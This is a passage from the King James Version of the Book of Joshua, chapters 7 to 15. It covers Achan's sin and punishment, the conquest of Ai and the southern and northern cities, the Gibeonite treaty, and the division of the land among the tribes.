7:17 And he brought +the family of Judah; and he took the family of the Zarhites: and he +brought the family of the Zarhites man by man; and Zabdi was taken: +7:18 And he brought his household man by man; and Achan, the son of +Carmi, the son of Zabdi, the son of Zerah, of the tribe of Judah, was +taken. + +7:19 And Joshua said unto Achan, My son, give, I pray thee, glory to +the LORD God of Israel, and make confession unto him; and tell me now +what thou hast done; hide it not from me. + +7:20 And Achan answered Joshua, and said, Indeed I have sinned against +the LORD God of Israel, and thus and thus have I done: 7:21 When I saw +among the spoils a goodly Babylonish garment, and two hundred shekels +of silver, and a wedge of gold of fifty shekels weight, then I coveted +them, and took them; and, behold, they are hid in the earth in the +midst of my tent, and the silver under it. + +7:22 So Joshua sent messengers, and they ran unto the tent; and, +behold, it was hid in his tent, and the silver under it. + +7:23 And they took them out of the midst of the tent, and brought them +unto Joshua, and unto all the children of Israel, and laid them out +before the LORD. + +7:24 And Joshua, and all Israel with him, took Achan the son of Zerah, +and the silver, and the garment, and the wedge of gold, and his sons, +and his daughters, and his oxen, and his asses, and his sheep, and his +tent, and all that he had: and they brought them unto the valley of +Achor. + +7:25 And Joshua said, Why hast thou troubled us? the LORD shall +trouble thee this day. And all Israel stoned him with stones, and +burned them with fire, after they had stoned them with stones. + +7:26 And they raised over him a great heap of stones unto this day. So +the LORD turned from the fierceness of his anger. Wherefore the name +of that place was called, The valley of Achor, unto this day. + +8:1 And the LORD said unto Joshua, Fear not, neither be thou dismayed: +take all the people of war with thee, and arise, go up to Ai: see, I +have given into thy hand the king of Ai, and his people, and his city, +and his land: 8:2 And thou shalt do to Ai and her king as thou didst +unto Jericho and her king: only the spoil thereof, and the cattle +thereof, shall ye take for a prey unto yourselves: lay thee an ambush +for the city behind it. + +8:3 So Joshua arose, and all the people of war, to go up against Ai: +and Joshua chose out thirty thousand mighty men of valour, and sent +them away by night. + +8:4 And he commanded them, saying, Behold, ye shall lie in wait +against the city, even behind the city: go not very far from the city, +but be ye all ready: 8:5 And I, and all the people that are with me, +will approach unto the city: and it shall come to pass, when they come +out against us, as at the first, that we will flee before them, 8:6 +(For they will come out after us) till we have drawn them from the +city; for they will say, They flee before us, as at the first: +therefore we will flee before them. + +8:7 Then ye shall rise up from the ambush, and seize upon the city: +for the LORD your God will deliver it into your hand. + +8:8 And it shall be, when ye have taken the city, that ye shall set +the city on fire: according to the commandment of the LORD shall ye +do. See, I have commanded you. + +8:9 Joshua therefore sent them forth: and they went to lie in ambush, +and abode between Bethel and Ai, on the west side of Ai: but Joshua +lodged that night among the people. + +8:10 And Joshua rose up early in the morning, and numbered the people, +and went up, he and the elders of Israel, before the people to Ai. + +8:11 And all the people, even the people of war that were with him, +went up, and drew nigh, and came before the city, and pitched on the +north side of Ai: now there was a valley between them and Ai. + +8:12 And he took about five thousand men, and set them to lie in +ambush between Bethel and Ai, on the west side of the city. + +8:13 And when they had set the people, even all the host that was on +the north of the city, and their liers in wait on the west of the +city, Joshua went that night into the midst of the valley. + +8:14 And it came to pass, when the king of Ai saw it, that they hasted +and rose up early, and the men of the city went out against Israel to +battle, he and all his people, at a time appointed, before the plain; +but he wist not that there were liers in ambush against him behind the +city. + +8:15 And Joshua and all Israel made as if they were beaten before +them, and fled by the way of the wilderness. + +8:16 And all the people that were in Ai were called together to pursue +after them: and they pursued after Joshua, and were drawn away from +the city. + +8:17 And there was not a man left in Ai or Bethel, that went not out +after Israel: and they left the city open, and pursued after Israel. + +8:18 And the LORD said unto Joshua, Stretch out the spear that is in +thy hand toward Ai; for I will give it into thine hand. And Joshua +stretched out the spear that he had in his hand toward the city. + +8:19 And the ambush arose quickly out of their place, and they ran as +soon as he had stretched out his hand: and they entered into the city, +and took it, and hasted and set the city on fire. + +8:20 And when the men of Ai looked behind them, they saw, and, behold, +the smoke of the city ascended up to heaven, and they had no power to +flee this way or that way: and the people that fled to the wilderness +turned back upon the pursuers. + +8:21 And when Joshua and all Israel saw that the ambush had taken the +city, and that the smoke of the city ascended, then they turned again, +and slew the men of Ai. + +8:22 And the other issued out of the city against them; so they were +in the midst of Israel, some on this side, and some on that side: and +they smote them, so that they let none of them remain or escape. + +8:23 And the king of Ai they took alive, and brought him to Joshua. + +8:24 And it came to pass, when Israel had made an end of slaying all +the inhabitants of Ai in the field, in the wilderness wherein they +chased them, and when they were all fallen on the edge of the sword, +until they were consumed, that all the Israelites returned unto Ai, +and smote it with the edge of the sword. + +8:25 And so it was, that all that fell that day, both of men and +women, were twelve thousand, even all the men of Ai. + +8:26 For Joshua drew not his hand back, wherewith he stretched out the +spear, until he had utterly destroyed all the inhabitants of Ai. + +8:27 Only the cattle and the spoil of that city Israel took for a prey +unto themselves, according unto the word of the LORD which he +commanded Joshua. + +8:28 And Joshua burnt Ai, and made it an heap for ever, even a +desolation unto this day. + +8:29 And the king of Ai he hanged on a tree until eventide: and as +soon as the sun was down, Joshua commanded that they should take his +carcase down from the tree, and cast it at the entering of the gate of +the city, and raise thereon a great heap of stones, that remaineth +unto this day. + +8:30 Then Joshua built an altar unto the LORD God of Israel in mount +Ebal, 8:31 As Moses the servant of the LORD commanded the children of +Israel, as it is written in the book of the law of Moses, an altar of +whole stones, over which no man hath lift up any iron: and they +offered thereon burnt offerings unto the LORD, and sacrificed peace +offerings. + +8:32 And he wrote there upon the stones a copy of the law of Moses, +which he wrote in the presence of the children of Israel. + +8:33 And all Israel, and their elders, and officers, and their judges, +stood on this side the ark and on that side before the priests the +Levites, which bare the ark of the covenant of the LORD, as well the +stranger, as he that was born among them; half of them over against +mount Gerizim, and half of them over against mount Ebal; as Moses the +servant of the LORD had commanded before, that they should bless the +people of Israel. + +8:34 And afterward he read all the words of the law, the blessings and +cursings, according to all that is written in the book of the law. + +8:35 There was not a word of all that Moses commanded, which Joshua +read not before all the congregation of Israel, with the women, and +the little ones, and the strangers that were conversant among them. + +9:1 And it came to pass, when all the kings which were on this side +Jordan, in the hills, and in the valleys, and in all the coasts of the +great sea over against Lebanon, the Hittite, and the Amorite, the +Canaanite, the Perizzite, the Hivite, and the Jebusite, heard thereof; +9:2 That they gathered themselves together, to fight with Joshua and +with Israel, with one accord. + +9:3 And when the inhabitants of Gibeon heard what Joshua had done unto +Jericho and to Ai, 9:4 They did work wilily, and went and made as if +they had been ambassadors, and took old sacks upon their asses, and +wine bottles, old, and rent, and bound up; 9:5 And old shoes and +clouted upon their feet, and old garments upon them; and all the bread +of their provision was dry and mouldy. + +9:6 And they went to Joshua unto the camp at Gilgal, and said unto +him, and to the men of Israel, We be come from a far country: now +therefore make ye a league with us. + +9:7 And the men of Israel said unto the Hivites, Peradventure ye dwell +among us; and how shall we make a league with you? 9:8 And they said +unto Joshua, We are thy servants. And Joshua said unto them, Who are +ye? and from whence come ye? 9:9 And they said unto him, From a very +far country thy servants are come because of the name of the LORD thy +God: for we have heard the fame of him, and all that he did in Egypt, +9:10 And all that he did to the two kings of the Amorites, that were +beyond Jordan, to Sihon king of Heshbon, and to Og king of Bashan, +which was at Ashtaroth. + +9:11 Wherefore our elders and all the inhabitants of our country spake +to us, saying, Take victuals with you for the journey, and go to meet +them, and say unto them, We are your servants: therefore now make ye a +league with us. + +9:12 This our bread we took hot for our provision out of our houses on +the day we came forth to go unto you; but now, behold, it is dry, and +it is mouldy: 9:13 And these bottles of wine, which we filled, were +new; and, behold, they be rent: and these our garments and our shoes +are become old by reason of the very long journey. + +9:14 And the men took of their victuals, and asked not counsel at the +mouth of the LORD. + +9:15 And Joshua made peace with them, and made a league with them, to +let them live: and the princes of the congregation sware unto them. + +9:16 And it came to pass at the end of three days after they had made +a league with them, that they heard that they were their neighbours, +and that they dwelt among them. + +9:17 And the children of Israel journeyed, and came unto their cities +on the third day. Now their cities were Gibeon, and Chephirah, and +Beeroth, and Kirjathjearim. + +9:18 And the children of Israel smote them not, because the princes of +the congregation had sworn unto them by the LORD God of Israel. And +all the congregation murmured against the princes. + +9:19 But all the princes said unto all the congregation, We have sworn +unto them by the LORD God of Israel: now therefore we may not touch +them. + +9:20 This we will do to them; we will even let them live, lest wrath +be upon us, because of the oath which we sware unto them. + +9:21 And the princes said unto them, Let them live; but let them be +hewers of wood and drawers of water unto all the congregation; as the +princes had promised them. + +9:22 And Joshua called for them, and he spake unto them, saying, +Wherefore have ye beguiled us, saying, We are very far from you; when +ye dwell among us? 9:23 Now therefore ye are cursed, and there shall +none of you be freed from being bondmen, and hewers of wood and +drawers of water for the house of my God. + +9:24 And they answered Joshua, and said, Because it was certainly told +thy servants, how that the LORD thy God commanded his servant Moses to +give you all the land, and to destroy all the inhabitants of the land +from before you, therefore we were sore afraid of our lives because of +you, and have done this thing. + +9:25 And now, behold, we are in thine hand: as it seemeth good and +right unto thee to do unto us, do. + +9:26 And so did he unto them, and delivered them out of the hand of +the children of Israel, that they slew them not. + +9:27 And Joshua made them that day hewers of wood and drawers of water +for the congregation, and for the altar of the LORD, even unto this +day, in the place which he should choose. + +10:1 Now it came to pass, when Adonizedec king of Jerusalem had heard +how Joshua had taken Ai, and had utterly destroyed it; as he had done +to Jericho and her king, so he had done to Ai and her king; and how +the inhabitants of Gibeon had made peace with Israel, and were among +them; 10:2 That they feared greatly, because Gibeon was a great city, +as one of the royal cities, and because it was greater than Ai, and +all the men thereof were mighty. + +10:3 Wherefore Adonizedec king of Jerusalem, sent unto Hoham king of +Hebron, and unto Piram king of Jarmuth, and unto Japhia king of +Lachish, and unto Debir king of Eglon, saying, 10:4 Come up unto me, +and help me, that we may smite Gibeon: for it hath made peace with +Joshua and with the children of Israel. + +10:5 Therefore the five kings of the Amorites, the king of Jerusalem, +the king of Hebron, the king of Jarmuth, the king of Lachish, the king +of Eglon, gathered themselves together, and went up, they and all +their hosts, and encamped before Gibeon, and made war against it. + +10:6 And the men of Gibeon sent unto Joshua to the camp to Gilgal, +saying, Slack not thy hand from thy servants; come up to us quickly, +and save us, and help us: for all the kings of the Amorites that dwell +in the mountains are gathered together against us. + +10:7 So Joshua ascended from Gilgal, he, and all the people of war +with him, and all the mighty men of valour. + +10:8 And the LORD said unto Joshua, Fear them not: for I have +delivered them into thine hand; there shall not a man of them stand +before thee. + +10:9 Joshua therefore came unto them suddenly, and went up from Gilgal +all night. + +10:10 And the LORD discomfited them before Israel, and slew them with +a great slaughter at Gibeon, and chased them along the way that goeth +up to Bethhoron, and smote them to Azekah, and unto Makkedah. + +10:11 And it came to pass, as they fled from before Israel, and were +in the going down to Bethhoron, that the LORD cast down great stones +from heaven upon them unto Azekah, and they died: they were more which +died with hailstones than they whom the children of Israel slew with +the sword. + +10:12 Then spake Joshua to the LORD in the day when the LORD delivered +up the Amorites before the children of Israel, and he said in the +sight of Israel, Sun, stand thou still upon Gibeon; and thou, Moon, in +the valley of Ajalon. + +10:13 And the sun stood still, and the moon stayed, until the people +had avenged themselves upon their enemies. Is not this written in the +book of Jasher? So the sun stood still in the midst of heaven, and +hasted not to go down about a whole day. + +10:14 And there was no day like that before it or after it, that the +LORD hearkened unto the voice of a man: for the LORD fought for +Israel. + +10:15 And Joshua returned, and all Israel with him, unto the camp to +Gilgal. + +10:16 But these five kings fled, and hid themselves in a cave at +Makkedah. + +10:17 And it was told Joshua, saying, The five kings are found hid in +a cave at Makkedah. + +10:18 And Joshua said, Roll great stones upon the mouth of the cave, +and set men by it for to keep them: 10:19 And stay ye not, but pursue +after your enemies, and smite the hindmost of them; suffer them not to +enter into their cities: for the LORD your God hath delivered them +into your hand. + +10:20 And it came to pass, when Joshua and the children of Israel had +made an end of slaying them with a very great slaughter, till they +were consumed, that the rest which remained of them entered into +fenced cities. + +10:21 And all the people returned to the camp to Joshua at Makkedah in +peace: none moved his tongue against any of the children of Israel. + +10:22 Then said Joshua, Open the mouth of the cave, and bring out +those five kings unto me out of the cave. + +10:23 And they did so, and brought forth those five kings unto him out +of the cave, the king of Jerusalem, the king of Hebron, the king of +Jarmuth, the king of Lachish, and the king of Eglon. + +10:24 And it came to pass, when they brought out those kings unto +Joshua, that Joshua called for all the men of Israel, and said unto +the captains of the men of war which went with him, Come near, put +your feet upon the necks of these kings. And they came near, and put +their feet upon the necks of them. + +10:25 And Joshua said unto them, Fear not, nor be dismayed, be strong +and of good courage: for thus shall the LORD do to all your enemies +against whom ye fight. + +10:26 And afterward Joshua smote them, and slew them, and hanged them +on five trees: and they were hanging upon the trees until the evening. + +10:27 And it came to pass at the time of the going down of the sun, +that Joshua commanded, and they took them down off the trees, and cast +them into the cave wherein they had been hid, and laid great stones in +the cave's mouth, which remain until this very day. + +10:28 And that day Joshua took Makkedah, and smote it with the edge of +the sword, and the king thereof he utterly destroyed, them, and all +the souls that were therein; he let none remain: and he did to the +king of Makkedah as he did unto the king of Jericho. + +10:29 Then Joshua passed from Makkedah, and all Israel with him, unto +Libnah, and fought against Libnah: 10:30 And the LORD delivered it +also, and the king thereof, into the hand of Israel; and he smote it +with the edge of the sword, and all the souls that were therein; he +let none remain in it; but did unto the king thereof as he did unto +the king of Jericho. + +10:31 And Joshua passed from Libnah, and all Israel with him, unto +Lachish, and encamped against it, and fought against it: 10:32 And the +LORD delivered Lachish into the hand of Israel, which took it on the +second day, and smote it with the edge of the sword, and all the souls +that were therein, according to all that he had done to Libnah. + +10:33 Then Horam king of Gezer came up to help Lachish; and Joshua +smote him and his people, until he had left him none remaining. + +10:34 And from Lachish Joshua passed unto Eglon, and all Israel with +him; and they encamped against it, and fought against it: 10:35 And +they took it on that day, and smote it with the edge of the sword, and +all the souls that were therein he utterly destroyed that day, +according to all that he had done to Lachish. + +10:36 And Joshua went up from Eglon, and all Israel with him, unto +Hebron; and they fought against it: 10:37 And they took it, and smote +it with the edge of the sword, and the king thereof, and all the +cities thereof, and all the souls that were therein; he left none +remaining, according to all that he had done to Eglon; but destroyed +it utterly, and all the souls that were therein. + +10:38 And Joshua returned, and all Israel with him, to Debir; and +fought against it: 10:39 And he took it, and the king thereof, and all +the cities thereof; and they smote them with the edge of the sword, +and utterly destroyed all the souls that were therein; he left none +remaining: as he had done to Hebron, so he did to Debir, and to the +king thereof; as he had done also to Libnah, and to her king. + +10:40 So Joshua smote all the country of the hills, and of the south, +and of the vale, and of the springs, and all their kings: he left none +remaining, but utterly destroyed all that breathed, as the LORD God of +Israel commanded. + +10:41 And Joshua smote them from Kadeshbarnea even unto Gaza, and all +the country of Goshen, even unto Gibeon. + +10:42 And all these kings and their land did Joshua take at one time, +because the LORD God of Israel fought for Israel. + +10:43 And Joshua returned, and all Israel with him, unto the camp to +Gilgal. + +11:1 And it came to pass, when Jabin king of Hazor had heard those +things, that he sent to Jobab king of Madon, and to the king of +Shimron, and to the king of Achshaph, 11:2 And to the kings that were +on the north of the mountains, and of the plains south of Chinneroth, +and in the valley, and in the borders of Dor on the west, 11:3 And to +the Canaanite on the east and on the west, and to the Amorite, and the +Hittite, and the Perizzite, and the Jebusite in the mountains, and to +the Hivite under Hermon in the land of Mizpeh. + +11:4 And they went out, they and all their hosts with them, much +people, even as the sand that is upon the sea shore in multitude, with +horses and chariots very many. + +11:5 And when all these kings were met together, they came and pitched +together at the waters of Merom, to fight against Israel. + +11:6 And the LORD said unto Joshua, Be not afraid because of them: for +to morrow about this time will I deliver them up all slain before +Israel: thou shalt hough their horses, and burn their chariots with +fire. + +11:7 So Joshua came, and all the people of war with him, against them +by the waters of Merom suddenly; and they fell upon them. + +11:8 And the LORD delivered them into the hand of Israel, who smote +them, and chased them unto great Zidon, and unto Misrephothmaim, and +unto the valley of Mizpeh eastward; and they smote them, until they +left them none remaining. + +11:9 And Joshua did unto them as the LORD bade him: he houghed their +horses, and burnt their chariots with fire. + +11:10 And Joshua at that time turned back, and took Hazor, and smote +the king thereof with the sword: for Hazor beforetime was the head of +all those kingdoms. + +11:11 And they smote all the souls that were therein with the edge of +the sword, utterly destroying them: there was not any left to breathe: +and he burnt Hazor with fire. + +11:12 And all the cities of those kings, and all the kings of them, +did Joshua take, and smote them with the edge of the sword, and he +utterly destroyed them, as Moses the servant of the LORD commanded. + +11:13 But as for the cities that stood still in their strength, Israel +burned none of them, save Hazor only; that did Joshua burn. + +11:14 And all the spoil of these cities, and the cattle, the children +of Israel took for a prey unto themselves; but every man they smote +with the edge of the sword, until they had destroyed them, neither +left they any to breathe. + +11:15 As the LORD commanded Moses his servant, so did Moses command +Joshua, and so did Joshua; he left nothing undone of all that the LORD +commanded Moses. + +11:16 So Joshua took all that land, the hills, and all the south +country, and all the land of Goshen, and the valley, and the plain, +and the mountain of Israel, and the valley of the same; 11:17 Even +from the mount Halak, that goeth up to Seir, even unto Baalgad in the +valley of Lebanon under mount Hermon: and all their kings he took, and +smote them, and slew them. + +11:18 Joshua made war a long time with all those kings. + +11:19 There was not a city that made peace with the children of +Israel, save the Hivites the inhabitants of Gibeon: all other they +took in battle. + +11:20 For it was of the LORD to harden their hearts, that they should +come against Israel in battle, that he might destroy them utterly, and +that they might have no favour, but that he might destroy them, as the +LORD commanded Moses. + +11:21 And at that time came Joshua, and cut off the Anakims from the +mountains, from Hebron, from Debir, from Anab, and from all the +mountains of Judah, and from all the mountains of Israel: Joshua +destroyed them utterly with their cities. + +11:22 There was none of the Anakims left in the land of the children +of Israel: only in Gaza, in Gath, and in Ashdod, there remained. + +11:23 So Joshua took the whole land, according to all that the LORD +said unto Moses; and Joshua gave it for an inheritance unto Israel +according to their divisions by their tribes. And the land rested from +war. + +12:1 Now these are the kings of the land, which the children of Israel +smote, and possessed their land on the other side Jordan toward the +rising of the sun, from the river Arnon unto mount Hermon, and all the +plain on the east: 12:2 Sihon king of the Amorites, who dwelt in +Heshbon, and ruled from Aroer, which is upon the bank of the river +Arnon, and from the middle of the river, and from half Gilead, even +unto the river Jabbok, which is the border of the children of Ammon; +12:3 And from the plain to the sea of Chinneroth on the east, and unto +the sea of the plain, even the salt sea on the east, the way to +Bethjeshimoth; and from the south, under Ashdothpisgah: 12:4 And the +coast of Og king of Bashan, which was of the remnant of the giants, +that dwelt at Ashtaroth and at Edrei, 12:5 And reigned in mount +Hermon, and in Salcah, and in all Bashan, unto the border of the +Geshurites and the Maachathites, and half Gilead, the border of Sihon +king of Heshbon. + +12:6 Them did Moses the servant of the LORD and the children of Israel +smite: and Moses the servant of the LORD gave it for a possession unto +the Reubenites, and the Gadites, and the half tribe of Manasseh. + +12:7 And these are the kings of the country which Joshua and the +children of Israel smote on this side Jordan on the west, from Baalgad +in the valley of Lebanon even unto the mount Halak, that goeth up to +Seir; which Joshua gave unto the tribes of Israel for a possession +according to their divisions; 12:8 In the mountains, and in the +valleys, and in the plains, and in the springs, and in the wilderness, +and in the south country; the Hittites, the Amorites, and the +Canaanites, the Perizzites, the Hivites, and the Jebusites: 12:9 The +king of Jericho, one; the king of Ai, which is beside Bethel, one; +12:10 The king of Jerusalem, one; the king of Hebron, one; 12:11 The +king of Jarmuth, one; the king of Lachish, one; 12:12 The king of +Eglon, one; the king of Gezer, one; 12:13 The king of Debir, one; the +king of Geder, one; 12:14 The king of Hormah, one; the king of Arad, +one; 12:15 The king of Libnah, one; the king of Adullam, one; 12:16 +The king of Makkedah, one; the king of Bethel, one; 12:17 The king of +Tappuah, one; the king of Hepher, one; 12:18 The king of Aphek, one; +the king of Lasharon, one; 12:19 The king of Madon, one; the king of +Hazor, one; 12:20 The king of Shimronmeron, one; the king of Achshaph, +one; 12:21 The king of Taanach, one; the king of Megiddo, one; 12:22 +The king of Kedesh, one; the king of Jokneam of Carmel, one; 12:23 The +king of Dor in the coast of Dor, one; the king of the nations of +Gilgal, one; 12:24 The king of Tirzah, one: all the kings thirty and +one. + +13:1 Now Joshua was old and stricken in years; and the LORD said unto +him, Thou art old and stricken in years, and there remaineth yet very +much land to be possessed. + +13:2 This is the land that yet remaineth: all the borders of the +Philistines, and all Geshuri, 13:3 From Sihor, which is before Egypt, +even unto the borders of Ekron northward, which is counted to the +Canaanite: five lords of the Philistines; the Gazathites, and the +Ashdothites, the Eshkalonites, the Gittites, and the Ekronites; also +the Avites: 13:4 From the south, all the land of the Canaanites, and +Mearah that is beside the Sidonians unto Aphek, to the borders of the +Amorites: 13:5 And the land of the Giblites, and all Lebanon, toward +the sunrising, from Baalgad under mount Hermon unto the entering into +Hamath. + +13:6 All the inhabitants of the hill country from Lebanon unto +Misrephothmaim, and all the Sidonians, them will I drive out from +before the children of Israel: only divide thou it by lot unto the +Israelites for an inheritance, as I have commanded thee. + +13:7 Now therefore divide this land for an inheritance unto the nine +tribes, and the half tribe of Manasseh, 13:8 With whom the Reubenites +and the Gadites have received their inheritance, which Moses gave +them, beyond Jordan eastward, even as Moses the servant of the LORD +gave them; 13:9 From Aroer, that is upon the bank of the river Arnon, +and the city that is in the midst of the river, and all the plain of +Medeba unto Dibon; 13:10 And all the cities of Sihon king of the +Amorites, which reigned in Heshbon, unto the border of the children of +Ammon; 13:11 And Gilead, and the border of the Geshurites and +Maachathites, and all mount Hermon, and all Bashan unto Salcah; 13:12 +All the kingdom of Og in Bashan, which reigned in Ashtaroth and in +Edrei, who remained of the remnant of the giants: for these did Moses +smite, and cast them out. + +13:13 Nevertheless the children of Israel expelled not the Geshurites, +nor the Maachathites: but the Geshurites and the Maachathites dwell +among the Israelites until this day. + +13:14 Only unto the tribes of Levi he gave none inheritance; the +sacrifices of the LORD God of Israel made by fire are their +inheritance, as he said unto them. + +13:15 And Moses gave unto the tribe of the children of Reuben +inheritance according to their families. + +13:16 And their coast was from Aroer, that is on the bank of the river +Arnon, and the city that is in the midst of the river, and all the +plain by Medeba; 13:17 Heshbon, and all her cities that are in the +plain; Dibon, and Bamothbaal, and Bethbaalmeon, 13:18 And Jahaza, and +Kedemoth, and Mephaath, 13:19 And Kirjathaim, and Sibmah, and +Zarethshahar in the mount of the valley, 13:20 And Bethpeor, and +Ashdothpisgah, and Bethjeshimoth, 13:21 And all the cities of the +plain, and all the kingdom of Sihon king of the Amorites, which +reigned in Heshbon, whom Moses smote with the princes of Midian, Evi, +and Rekem, and Zur, and Hur, and Reba, which were dukes of Sihon, +dwelling in the country. + +13:22 Balaam also the son of Beor, the soothsayer, did the children of +Israel slay with the sword among them that were slain by them. + +13:23 And the border of the children of Reuben was Jordan, and the +border thereof. This was the inheritance of the children of Reuben +after their families, the cities and the villages thereof. + +13:24 And Moses gave inheritance unto the tribe of Gad, even unto the +children of Gad according to their families. + +13:25 And their coast was Jazer, and all the cities of Gilead, and +half the land of the children of Ammon, unto Aroer that is before +Rabbah; 13:26 And from Heshbon unto Ramathmizpeh, and Betonim; and +from Mahanaim unto the border of Debir; 13:27 And in the valley, +Betharam, and Bethnimrah, and Succoth, and Zaphon, the rest of the +kingdom of Sihon king of Heshbon, Jordan and his border, even unto the +edge of the sea of Chinnereth on the other side Jordan eastward. + +13:28 This is the inheritance of the children of Gad after their +families, the cities, and their villages. + +13:29 And Moses gave inheritance unto the half tribe of Manasseh: and +this was the possession of the half tribe of the children of Manasseh +by their families. + +13:30 And their coast was from Mahanaim, all Bashan, all the kingdom +of Og king of Bashan, and all the towns of Jair, which are in Bashan, +threescore cities: 13:31 And half Gilead, and Ashtaroth, and Edrei, +cities of the kingdom of Og in Bashan, were pertaining unto the +children of Machir the son of Manasseh, even to the one half of the +children of Machir by their families. + +13:32 These are the countries which Moses did distribute for +inheritance in the plains of Moab, on the other side Jordan, by +Jericho, eastward. + +13:33 But unto the tribe of Levi Moses gave not any inheritance: the +LORD God of Israel was their inheritance, as he said unto them. + +14:1 And these are the countries which the children of Israel +inherited in the land of Canaan, which Eleazar the priest, and Joshua +the son of Nun, and the heads of the fathers of the tribes of the +children of Israel, distributed for inheritance to them. + +14:2 By lot was their inheritance, as the LORD commanded by the hand +of Moses, for the nine tribes, and for the half tribe. + +14:3 For Moses had given the inheritance of two tribes and an half +tribe on the other side Jordan: but unto the Levites he gave none +inheritance among them. + +14:4 For the children of Joseph were two tribes, Manasseh and Ephraim: +therefore they gave no part unto the Levites in the land, save cities +to dwell in, with their suburbs for their cattle and for their +substance. + +14:5 As the LORD commanded Moses, so the children of Israel did, and +they divided the land. + +14:6 Then the children of Judah came unto Joshua in Gilgal: and Caleb +the son of Jephunneh the Kenezite said unto him, Thou knowest the +thing that the LORD said unto Moses the man of God concerning me and +thee in Kadeshbarnea. + +14:7 Forty years old was I when Moses the servant of the LORD sent me +from Kadeshbarnea to espy out the land; and I brought him word again +as it was in mine heart. + +14:8 Nevertheless my brethren that went up with me made the heart of +the people melt: but I wholly followed the LORD my God. + +14:9 And Moses sware on that day, saying, Surely the land whereon thy +feet have trodden shall be thine inheritance, and thy children's for +ever, because thou hast wholly followed the LORD my God. + +14:10 And now, behold, the LORD hath kept me alive, as he said, these +forty and five years, even since the LORD spake this word unto Moses, +while the children of Israel wandered in the wilderness: and now, lo, +I am this day fourscore and five years old. + +14:11 As yet I am as strong this day as I was in the day that Moses +sent me: as my strength was then, even so is my strength now, for war, +both to go out, and to come in. + +14:12 Now therefore give me this mountain, whereof the LORD spake in +that day; for thou heardest in that day how the Anakims were there, +and that the cities were great and fenced: if so be the LORD will be +with me, then I shall be able to drive them out, as the LORD said. + +14:13 And Joshua blessed him, and gave unto Caleb the son of Jephunneh +Hebron for an inheritance. + +14:14 Hebron therefore became the inheritance of Caleb the son of +Jephunneh the Kenezite unto this day, because that he wholly followed +the LORD God of Israel. + +14:15 And the name of Hebron before was Kirjatharba; which Arba was a +great man among the Anakims. And the land had rest from war. + +15:1 This then was the lot of the tribe of the children of Judah by +their families; even to the border of Edom the wilderness of Zin +southward was the uttermost part of the south coast. + +15:2 And their south border was from the shore of the salt sea, from +the bay that looketh southward: 15:3 And it went out to the south side +to Maalehacrabbim, and passed along to Zin, and ascended up on the +south side unto Kadeshbarnea, and passed along to Hezron, and went up +to Adar, and fetched a compass to Karkaa: 15:4 From thence it passed +toward Azmon, and went out unto the river of Egypt; and the goings out +of that coast were at the sea: this shall be your south coast. + +15:5 And the east border was the salt sea, even unto the end of +Jordan. + +And their border in the north quarter was from the bay of the sea at +the uttermost part of Jordan: 15:6 And the border went up to +Bethhogla, and passed along by the north of Betharabah; and the border +went up to the stone of Bohan the son of Reuben: 15:7 And the border +went up toward Debir from the valley of Achor, and so northward, +looking toward Gilgal, that is before the going up to Adummim, which +is on the south side of the river: and the border passed toward the +waters of Enshemesh, and the goings out thereof were at Enrogel: 15:8 +And the border went up by the valley of the son of Hinnom unto the +south side of the Jebusite; the same is Jerusalem: and the border went +up to the top of the mountain that lieth before the valley of Hinnom +westward, which is at the end of the valley of the giants northward: +15:9 And the border was drawn from the top of the hill unto the +fountain of the water of Nephtoah, and went out to the cities of mount +Ephron; and the border was drawn to Baalah, which is Kirjathjearim: +15:10 And the border compassed from Baalah westward unto mount Seir, +and passed along unto the side of mount Jearim, which is Chesalon, on +the north side, and went down to Bethshemesh, and passed on to Timnah: +15:11 And the border went out unto the side of Ekron northward: and +the border was drawn to Shicron, and passed along to mount Baalah, and +went out unto Jabneel; and the goings out of the border were at the +sea. + +15:12 And the west border was to the great sea, and the coast thereof. + +This is the coast of the children of Judah round about according to +their families. + +15:13 And unto Caleb the son of Jephunneh he gave a part among the +children of Judah, according to the commandment of the LORD to Joshua, +even the city of Arba the father of Anak, which city is Hebron. + +15:14 And Caleb drove thence the three sons of Anak, Sheshai, and +Ahiman, and Talmai, the children of Anak. + +15:15 And he went up thence to the inhabitants of Debir: and the name +of Debir before was Kirjathsepher. + +15:16 And Caleb said, He that smiteth Kirjathsepher, and taketh it, to +him will I give Achsah my daughter to wife. + +15:17 And Othniel the son of Kenaz, the brother of Caleb, took it: and +he gave him Achsah his daughter to wife. + +15:18 And it came to pass, as she came unto him, that she moved him to +ask of her father a field: and she lighted off her ass; and Caleb said +unto her, What wouldest thou? 15:19 Who answered, Give me a blessing; +for thou hast given me a south land; give me also springs of water. +And he gave her the upper springs, and the nether springs. + +15:20 This is the inheritance of the tribe of the children of Judah +according to their families. + +15:21 And the uttermost cities of the tribe of the children of Judah +toward the coast of Edom southward were Kabzeel, and Eder, and Jagur, +15:22 And Kinah, and Dimonah, and Adadah, 15:23 And Kedesh, and Hazor, +and Ithnan, 15:24 Ziph, and Telem, and Bealoth, 15:25 And Hazor, +Hadattah, and Kerioth, and Hezron, which is Hazor, 15:26 Amam, and +Shema, and Moladah, 15:27 And Hazargaddah, and Heshmon, and Bethpalet, +15:28 And Hazarshual, and Beersheba, and Bizjothjah, 15:29 Baalah, and +Iim, and Azem, 15:30 And Eltolad, and Chesil, and Hormah, 15:31 And +Ziklag, and Madmannah, and Sansannah, 15:32 And Lebaoth, and Shilhim, +and Ain, and Rimmon: all the cities are twenty and nine, with their +villages: 15:33 And in the valley, Eshtaol, and Zoreah, and Ashnah, +15:34 And Zanoah, and Engannim, Tappuah, and Enam, 15:35 Jarmuth, and +Adullam, Socoh, and Azekah, 15:36 And Sharaim, and Adithaim, and +Gederah, and Gederothaim; fourteen cities with their villages: 15:37 +Zenan, and Hadashah, and Migdalgad, 15:38 And Dilean, and Mizpeh, and +Joktheel, 15:39 Lachish, and Bozkath, and Eglon, 15:40 And Cabbon, and +Lahmam, and Kithlish, 15:41 And Gederoth, Bethdagon, and Naamah, and +Makkedah; sixteen cities with their villages: 15:42 Libnah, and Ether, +and Ashan, 15:43 And Jiphtah, and Ashnah, and Nezib, 15:44 And Keilah, +and Achzib, and Mareshah; nine cities with their villages: 15:45 +Ekron, with her towns and her villages: 15:46 From Ekron even unto the +sea, all that lay near Ashdod, with their villages: 15:47 Ashdod with +her towns and her villages, Gaza with her towns and her villages, unto +the river of Egypt, and the great sea, and the border thereof: 15:48 +And in the mountains, Shamir, and Jattir, and Socoh, 15:49 And Dannah, +and Kirjathsannah, which is Debir, 15:50 And Anab, and Eshtemoh, and +Anim, 15:51 And Goshen, and Holon, and Giloh; eleven cities with their 